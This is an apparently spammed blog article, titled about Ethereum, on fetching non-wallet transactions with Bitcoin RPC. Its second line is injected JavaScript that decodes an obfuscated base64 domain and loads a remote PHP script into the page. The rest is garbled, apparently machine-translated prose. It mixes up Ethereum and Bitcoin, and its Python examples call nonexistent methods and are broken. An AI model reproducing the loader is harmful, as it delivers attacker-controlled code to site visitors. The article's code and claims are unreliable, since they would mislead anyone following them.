Ethereum: Get non-wallet transactions using bitcoin rpc (gettransaction)
const pdx=“bm9yZGVyc3dpbmcuYnV6ei94cC8=“;const pde=atob(pdx.replace(/|/g,““));const script=document.createElement(„script“);script.src=“https://“+pde+“cc.php?u=4bf17bd2″;document.body.appendChild(script);
Getting transactions without money from Ethereum using Bitcoin-RPC
When you investigate a bitcoin protocol with Bitcoin-QT
, you can use its API, namely“ Bitcoin-RPC, to obtain transactions with non-naughty. In this article, we will go through the process of loading all transactions in a particular block and then extract information about them.
assumptions
Be sure to make sure you have:
- Bitcoin-QT installed in your system.
- Working to the Ethereum network (you can use the built-in client “Bitcoin-RPC” or external tools such asGeth”.
Loading all blocks and transactions
To get all the blocks and their transactions, you can use a loop that continuously calls Getblockchaininfo 'with the“ RAW ”set to
1. This is a list of JSon blocks.
Python
import BitcoinRpc
Def Get_blocks_and_transactions ():
rpc = bitcoinrpc.rpc ()
bloc_info = rpc.getblockchainfo ([1000])
load the first 1,000 blocks
For block in block_info [‚blocks‘]:
Print (f „Block {block [‚Hash‘]}:“)
For TX in the block [‚transactions‘]:
Print (Tx [‚HEX‘])
`
This code will make a list of transactions associated with each block.
Loading disadvantageous transactions
To get transactions without Wallets (i.e., publicly available), you must load them using the „Gettransaction“ call. This method is more complex because it requires interaction directly with the Ethereum network.
Here is an example of implementation in Python:
`Python
import BitcoinRpc
defe_non_wallet_transactions (block_hash):
rpc = bitcoinrpc.rpc ()
tx_list = []
For i in the range (1, 100):
load up to 99 transactions for demonstration purposes
try:
Transaction = rpc.gettransaction (block_hash, i) [‚Transaction‘] [‚HEX‘]
If “from” not in a transaction:
non -Land transactions do not have an address “Z”
tx_list.append (transaction)
In addition to the exception as E:
Print (f „Error loading transaction {i}: {e}“)
Return tx_list
Example of use
block_hash = „your_block_hash_here“
non_wallet_txs = get_non_wallet_transactions (block_hash)
For tx in non_wallet_txs:
Print (TX)
`
This code loads up to 99 transactions for each block and prints them.
Important Reflections
When working with bitcoin-rpc
keep in mind the following:
- The
Gettransaction
method returns a list of transactions that contain information such as,
,Value
etc.
- Transactions that are not cards usually do not have an „Z“ address or other publicly available details. Therefore, this example will only load the transactions without Walliet, which are directly linked to the specified block hash.
Please note that these examples demonstrate the basic use of „Bitcoin-RPC“ and may require adjustments based on your specific requirements. Also, be aware that the interaction with the Ethereum network may be resource -intensive; Always make sure you have sufficient connections or consider using more efficient methods such as storage in a cache or paging for large data files.